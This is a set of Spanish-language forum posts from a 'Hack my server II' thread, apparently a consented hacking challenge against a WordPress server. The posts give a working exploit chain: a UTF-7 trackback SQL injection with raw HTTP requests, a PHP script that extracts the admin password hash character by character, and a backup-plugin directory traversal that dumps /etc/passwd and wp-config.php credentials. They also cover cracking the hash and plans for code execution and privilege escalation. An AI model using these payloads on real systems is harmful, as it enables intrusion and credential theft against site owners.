|
1511
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 2 Agosto 2014, 16:15 pm
|
vamos, tienen acceao a una inyeccion sql como root, desde ahi pueden hacer lo que quieran, yo no lo he probado porque no he estado en mi casa. Tienen privilegios escribiendo archivos con into out file? han intentado sobreescribir binarios con permisos de root? o tendra permisos propios?
han revisado el directorio /home/ por si hay binarios con instrucciones para escalar privilegios?
|
|
|
1512
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 2 Agosto 2014, 08:11 am
|
Hola, llegué xD y me voy a acostar jajaja. A traves del plugin de backup utilizo el bug de directory traversal que expliqué anteriormente: http://web.com/wp-admin/edit.php?page=wp-db-backup.php&backup=../../../../../../../../../../../../etc/passwdroot:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh fetchmail:x:101:65534::/var/lib/fetchmail:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin syslog:x:103:106::/home/syslog:/bin/false klog:x:104:107::/home/klog:/bin/false bind:x:105:109::/var/cache/bind:/bin/false smmta:x:106:110:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false smmsp:x:107:111:Mail Submission Program,,,:/var/lib/sendmail:/bin/false landscape:x:108:112::/var/lib/landscape:/bin/false mysql:x:109:113:MySQL Server,,,:/nonexistent:/bin/false También puedes descargar la db completa con el mismo plugin y ver privilegios extras. http://web.com/wp-admin/edit.php?page=wp-db-backup.php&backup=../../wp-config.php<?php // ** MySQL settings ** // define('DB_NAME', 'hackme2'); // The name of the database define('DB_USER', 'root'); // Your MySQL username define('DB_PASSWORD', ''); // ...and password define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
// You can have multiple installations in one database if you give each a unique prefix $table_prefix = 'wp_'; // Only numbers, letters, and underscores please!
// Change this to localize WordPress. A corresponding MO file for the // chosen language must be installed to wp-includes/languages. // For example, install de.mo to wp-includes/languages and set WPLANG to 'de' // to enable German language support. define ('WPLANG', '');
/* That's all, stop editing! Happy blogging. */
define('ABSPATH', dirname(__FILE__).'/'); require_once(ABSPATH.'wp-settings.php'); ?> Mañana veremos si podemos hacer una conexión directa al mysql server o si las credenciales sirven para algo mas que solo el sql.
|
|
|
1513
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 2 Agosto 2014, 02:13 am
|
hash encontrado: a7c85c1a6114797d06425195899a8abe Método rápido: reversar el md5: http://www.hashkiller.co.uk/md5-decrypter.aspxWe found 1 hashes! [Timer: 134 m/s] Please find them below... a7c85c1a6114797d06425195899a8abe MD5 : 2bc11fEl método lento sería averiguar la estructura de la cookie e inyectarme la cookie con el hash en el navegador y me autenticaría sea cual sea la contraseña (en el caso de que el pass fuera imposible de reversar). Ahora si adios xd, pd: prueben el script del template y el del backup para ejecutar código. http://web.com/?p=21Saludos.
|
|
|
1514
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 2 Agosto 2014, 02:07 am
|
Pues cuando usaba comillas dobles para la consulta sql me arrojaba backslashses, talves era el escape de alguna funcion de wordpress. De todas maneras ya está solucionado, me faltan solo 15 carácteres, ya debo irme, adios. Mi ip no importa, se las regalo xd, el día en que tenga que hacerlo en un sitio mas serio no lo voy a hacer desde mi ip o desde mi red
|
|
|
1515
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 2 Agosto 2014, 01:49 am
|
char(1,1,1,1) reemplazas los unos por el valor decimal del caracter. Miren esto: whk@whk-machine:~/Escritorio$ php poc.php Obteniendo hash... Buscando sobre el caracter 'a'... Caracter encontrado!, faltan 31 caracteres mas. Buscando sobre el caracter 'b'... Buscando sobre el caracter 'c'... Buscando sobre el caracter 'd'...
xD el hash comienza con a7 y está sacando el resto de los carácteres Acá dejo el script que hice: <?php echo "Obteniendo hash...\n"; $hash = ''; for($n = 1; $n <= 32; $n++){ foreach(array('a','b','c','d','e','f','0','1','2','3','4','5','6','7','8','9') as $caracter){ echo "Buscando sobre el caracter '".$caracter."'...\n"; $postdata = 'charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBSTRING(user_pass, '.$n.', 1)=CHAR('.ord($caracter).') limit 1 -- -'; 'method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencoded', 'content' => $postdata ) ))); if(strpos($resultado, 'Duplicate comment') !== false){ /* Carácter encontrado */ $hash .= $caracter; echo "Caracter encontrado!, faltan ".(32 - $n)." caracteres mas.\n"; break; }else{ /* Carácter no válido */ } } } echo "Hash: ".$hash."\n";
Con esto en unos 15 minutos mas tengo el hash y el acceso al panel de administración. Ahora debo salir y el fin de semana no se si estaré xD asi que nos vemos otro día. Edito: Buscando sobre el caracter '7'... Caracter encontrado!, faltan 30 caracteres mas. Buscando sobre el caracter 'a'... Buscando sobre el caracter 'b'... Buscando sobre el caracter 'c'... Caracter encontrado!, faltan 29 caracteres mas. Buscando sobre el caracter 'a'... Buscando sobre el caracter 'b'... Buscando sobre el caracter 'c'...
xD
|
|
|
1516
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 2 Agosto 2014, 01:12 am
|
Estoy obteniendo el hash con la clave del primer usuario de la tabla de usuarios caracter por caracter: POST /wp-trackback.php?p=1 HTTP/1.1 Connection: close Host: web.com Content-Type: application/x-www-form-urlencoded Content-Length: 139
charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users where ID=1 and SUBTRING(user_pass, 1, 1)="a" limit 1 -- -
Luego cambio la letra "a" por "b", c d e f g h i, etc, hasta obtener el hash completo ya que cuando el select está bien muestra un mensaje que dice que el post está duplicado pero cuando hay un error el script continua y aparece un error de sql sobre el insert asi que con substring puedes ir devolviendo verdadero o falso cuando encuentres un carácter válido en el hash de la contraseña, luego a loguearse y luego a ejecutar el código arbitrario o usar la librería de backups vulnerable del wordpress para obtener datos sensibles. PD: php usa magic quotes, por eso no funcionan las inyecciones con comillas, para evadir eso usamos concat() y char().
|
|
|
1518
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 2 Agosto 2014, 00:53 am
|
Vamos, no era necesario subir una shell para acceder al sistema y ejecutar código, solo con el wordpress como está lo puedes hacer, de hecho nunca fue necesario ponerle un phpmyadmin, bastaba con las mismas fallas del wordpress, al ponerle ses phpmyadmin mataste la emoción.
|
|
|
1519
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 1 Agosto 2014, 22:01 pm
|
aca va la inyeccion sql que estoy probando: charset=UTF-7&title= -- a&url= -- a&excerpt= -- a&blog_name=a%2bACc-) union select user_pass from wp_users limit 1 -- - Funciona para el select pero para el insert da error, hay que intentar provocar un error forzado como un cast a la columna para que arroje el hash del admin y desde ahi loguear y hacer el directory traversal y comenzar a elevar y ejecutar código. Recuerden que como admin pueden ejecutar código editando una plantilla a pesar de que esta no se guarde con la previsualización, aparte de la ejecución de código en varis archivos extras y desde ahi intentar ejecutar un system y desde ahi elevar privilegios escaneando archivos con permisos de root que puedan ser sobreescribibles (igual como lo hace la c99 shell). Debo irme a mi casa, adios.
|
|
|
1520
|
Seguridad Informática / Hacking / Re: Hack my server II
|
en: 1 Agosto 2014, 21:38 pm
|
nopues, la idea es no entrar al phpmyadmin o si no te pierdes de la emoción xD cualquiera puede escribir phpmyadmin en la url, la idea es entrar hackeando el sitio :p Hice una petición post manualmente: Me@Machine:~/Escritorio$ nc -v web.com 80 POST /wp-trackback.php?p=1 HTTP/1.1 Connection: close Host: web.com Content-Type: application/x-www-form-urlencoded Content-Length: 66
charset=UTF-7&title=None&url=None&excerpt=None&blog_name=%2bACc-
el WP devuelve la consulta SQL inyectada: Connection to wrb.com 80 port [tcp/http] succeeded! HTTP/1.1 200 OK Date: Fri, 01 Aug 2014 19:36:18 GMT Server: Apache/2.4.6 (Ubuntu) X-Powered-By: PHP/5.5.3-1ubuntu2.6 X-Pingback: http://web.com/xmlrpc.php Status: 200 OK Vary: Accept-Encoding Content-Length: 1359 Connection: close Content-Type: text/xml; charset=UTF-8
<div id='error'> <p class='wpdberror'><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ILLEGAL' ) AND comment_content = '<strong>None...</strong>
None...' LIMIT 1' at line 1]<br /> <code>SELECT comment_ID FROM wp_comments WHERE comment_post_ID = '1' AND ( comment_author = ''ILLEGAL' ) AND comment_content = '<strong>None...</strong>
None...' LIMIT 1</code></p> </div><div id='error'> <p class='wpdberror'><strong>WordPress database error:</strong> [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ILLEGAL', '', 'http://None', '190.162.188.73', '2014-08-01 19:36:18', '2014-08-0' at line 4]<br /> <code>INSERT INTO wp_comments (comment_post_ID, comment_author, comment_author_email, comment_author_url, comment_author_IP, comment_date, comment_date_gmt, comment_content, comment_approved, comment_agent, comment_type, comment_parent, user_id) VALUES ('1', ''ILLEGAL', '', 'http://None', '190.162.188.73', '2014-08-01 19:36:18', '2014-08-01 19:36:18', '<strong>None...</strong>
None...', '0', '', 'trackback', '0', '0') </code></p> </div><?xml version="1.0" encoding="utf-8"?> <response> <error>0</error>
|
|
|
|
|
|
|